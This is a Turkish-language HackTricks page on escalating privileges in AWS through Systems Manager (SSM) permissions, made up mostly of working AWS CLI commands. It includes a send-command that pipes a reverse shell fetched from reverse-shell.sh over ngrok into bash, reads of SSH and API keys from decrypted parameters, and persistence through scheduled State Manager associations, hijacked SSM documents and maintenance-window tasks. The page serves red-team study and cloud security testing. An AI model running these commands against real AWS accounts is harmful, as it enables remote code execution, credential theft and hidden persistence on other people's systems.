AWS - SSM Privesc

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

SSM

SSM hakkında daha fazla bilgi için şuraya bakın:

AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum

ssm:SendCommand

ssm:SendCommand iznine sahip bir attacker, Amazon SSM Agent çalıştıran instance’larda komutları çalıştırabilir ve içinde çalışan IAM Role’ü compromise edebilir.

# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active

# Send rev shell command
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash"

Eğer bu tekniği zaten ele geçirilmiş bir EC2 instance içinde privileges escalation yapmak için kullanıyorsanız, rev shell’i yerelde şu şekilde yakalayabilirsiniz:

# If you are in the machine you can capture the reverseshel inside of it
nc -lvnp 4444 #Inside the EC2 instance
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash"

Olası Etki: Çalışan instance’lara bağlı ve SSM Agent’ları çalışan EC2 IAM role’lerine doğrudan privesc.

ssm:StartSession

ssm:StartSession iznine sahip bir attacker, Amazon SSM Agent çalışan instance’larda SSH benzeri bir session başlatabilir ve içindeki IAM Role’ü compromise edebilir.

# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active

# Send rev shell command
aws ssm start-session --target "$INSTANCE_ID"

Caution

Bir session başlatmak için SessionManagerPlugin yüklü olmalıdır: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html

Potential Impact: Çalışan instance’lara bağlı SSM Agents çalışırken, EC2 IAM roles’a doğrudan privesc.

Privesc to ECS

ECS tasks ExecuteCommand enabled ile çalıştığında, yeterli permissions’a sahip kullanıcılar container içinde bir command execute etmek için ecs execute-command kullanabilir.
the documentation’a göre bu, kullandığınız cihaz ile hedef container arasında SSM Session Manager kullanılarak güvenli bir channel oluşturulup “exec“ komutunun çalıştırılmasıyla yapılır. (Bunun çalışması için SSM Session Manager Plugin gerekli)
Dolayısıyla, ssm:StartSession yetkisine sahip kullanıcılar, bu option enabled olan ECS tasks içinde şu komutu çalıştırarak bir shell elde edebileceklerdir:

aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID"

Potential Impact: ExecuteCommand etkin olan çalışan task’lere ekli ECS IAM roles’lerine doğrudan privesc.

ssm:ResumeSession

ssm:ResumeSession iznine sahip bir attacker, Amazon SSM Agent çalışan instance’larda disconnected bir SSM session state ile bir SSH benzeri session’ı yeniden başlatabilir ve içindeki IAM Role’ü compromise edebilir.

# Check for configured instances
aws ssm describe-sessions

# Get resume data (you will probably need to do something else with this info to connect)
aws ssm resume-session \
--session-id Mary-Major-07a16060613c408b5

Olası Etki: Çalışan instance’lara bağlı ve SSM Agents çalışan, disconected sessions olan EC2 IAM role’larına doğrudan privesc.

ssm:DescribeParameters, (ssm:GetParameter | ssm:GetParameters)

Belirtilen izinlere sahip bir attacker, SSM parameters listesini görebilecek ve bunları clear-text olarak okuyabilecektir. Bu parameters içinde sıklıkla SSH keys veya API keys gibi sensitive information bulabilirsiniz.

aws ssm describe-parameters
# Suppose that you found a parameter called "id_rsa"
aws ssm get-parameters --names id_rsa --with-decryption
aws ssm get-parameter --name id_rsa --with-decryption

Potansiyel Etki: Parametreler içinde hassas bilgi bul.

ssm:ListCommands

Bu izne sahip bir attacker, gönderilen tüm commands listesini görüntüleyebilir ve umarım bunlar içinde sensitive information bulabilir.

aws ssm list-commands

Potansiyel Etki: Komut satırları içinde hassas bilgi bulun.

ssm:GetCommandInvocation, (ssm:ListCommandInvocations | ssm:ListCommands)

Bu izinlere sahip bir attacker, gönderilen tüm commands listesini görebilir ve üretilen output’u okuyabilir; umarız burada sensitive information bulur.

# You can use any of both options to get the command-id and instance id
aws ssm list-commands
aws ssm list-command-invocations

aws ssm get-command-invocation --command-id <cmd_id> --instance-id <i_id>

Potansiyel Etki: Komut satırlarının çıktısı içinde hassas bilgi bulun.

Using ssm:CreateAssociation

ssm:CreateAssociation iznine sahip bir attacker, SSM tarafından yönetilen EC2 instances üzerinde otomatik olarak commands execute etmek için bir State Manager Association oluşturabilir. Bu associations, sabit bir aralıkta çalışacak şekilde yapılandırılabilir; bu da onları interactive sessions olmadan backdoor-like persistence için uygun hale getirir.

aws ssm create-association \
--name SSM-Document-Name \
--targets Key=InstanceIds,Values=target-instance-id \
--parameters commands=["malicious-command"] \
--schedule-expression "rate(30 minutes)" \
--association-name association-name

Note

Bu persistence yöntemi, EC2 instance Systems Manager tarafından yönetildiği, SSM agent çalıştığı ve attacker association oluşturma iznine sahip olduğu sürece çalışır. Etkileşimli oturumlar veya açık ssm:SendCommand izinleri gerektirmez. Important: --schedule-expression parametresi (ör. rate(30 minutes)) AWS’nin minimum 30 dakikalık aralığına uymalıdır. Anında veya tek seferlik execution için --schedule-expression tamamen atlanmalıdır — association oluşturulduktan sonra bir kez çalışacaktır.

ssm:UpdateDocument, ssm:UpdateDocumentDefaultVersion, (ssm:ListDocuments | ssm:GetDocument)

ssm:UpdateDocument ve ssm:UpdateDocumentDefaultVersion izinlerine sahip bir attacker, existing documents’ları değiştirerek privilege escalation yapabilir. Bu aynı zamanda o document içinde persistence sağlar. Pratikte attacker’ın custom documents için isimleri almak üzere ayrıca ssm:ListDocuments iznine de ihtiyacı olur ve eğer attacker payload’ını existing bir document içinde obfuscate etmek isterse ssm:GetDocument de gerekli olacaktır.

aws ssm list-documents
aws ssm get-document --name "target-document" --document-format YAML
# You will need to specify the version you're updating
aws ssm update-document \
--name "target-document" \
--document-format YAML \
--content "file://doc.yaml" \
--document-version 1
aws ssm update-document-default-version --name "target-document" --document-version 2

Aşağıda, mevcut bir belgeyi üzerine yazmak için kullanılabilecek bir örnek belge bulunmaktadır. Invocation ile ilgili sorunları önlemek için belgenizin türünün hedef belgelerin türüyle eşleştiğinden emin olmak isteyeceksiniz. Aşağıdaki belge örneği, örneğin ssm:SendCommand ve ssm:CreateAssociation örneklerini kullanacaktır.

schemaVersion: '2.2'
description: Execute commands on a Linux instance.
parameters:
commands:
type: StringList
description: "The commands to run."
displayType: textarea
mainSteps:
- action: aws:runShellScript
name: runCommands
inputs:
runCommand:
- "id > /tmp/pwn_test.txt"

ssm:RegisterTaskWithMaintenanceWindow, ssm:RegisterTargetWithMaintenanceWindow, (ssm:DescribeMaintenanceWindows | ec2:DescribeInstances)

ssm:RegisterTaskWithMaintenanceWindow ve ssm:RegisterTargetWithMaintenanceWindow izinlerine sahip bir saldırgan, önce mevcut bir maintenance window ile yeni bir target kaydederek ve ardından yeni bir task ekleyip kaydederek yetkileri yükseltebilir. Bu, mevcut target’larda execution sağlar, ancak yeni target’lar kaydederek farklı role’lara sahip compute sistemlerini compromise etmeye de izin verebilir. Bu ayrıca persistence sağlar; çünkü maintenance windows task’leri, window oluşturma sırasında önceden tanımlı bir aralıkta çalıştırılır. Pratikte saldırganın maintenance window ID’lerini almak için ayrıca ssm:DescribeMaintenanceWindows iznine de ihtiyacı olur.

aws ec2 describe-instances
aws ssm describe-maintenance-window
aws ssm register-target-with-maintenance-window \
--window-id "<mw-id>" \
--resource-type "INSTANCE" \
--targets "Key=InstanceIds,Values=<instance_id>"
aws ssm register-task-with-maintenance-window \
--window-id "<mw-id>" \
--task-arn "AWS-RunShellScript" \
--task-type "RUN_COMMAND" \
--targets "Key=WindowTargetIds,Values=<target_id>" \
--task-invocation-parameters '{ "RunCommand": { "Parameters": { "commands": ["echo test > /tmp/regtaskpwn.txt"] } } }' \
--max-concurrency 50 \
--max-errors 100

Codebuild

Bir codebuild projesi build edilirken içine girmek için SSM de kullanabilirsin:

AWS - Codebuild Privesc

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin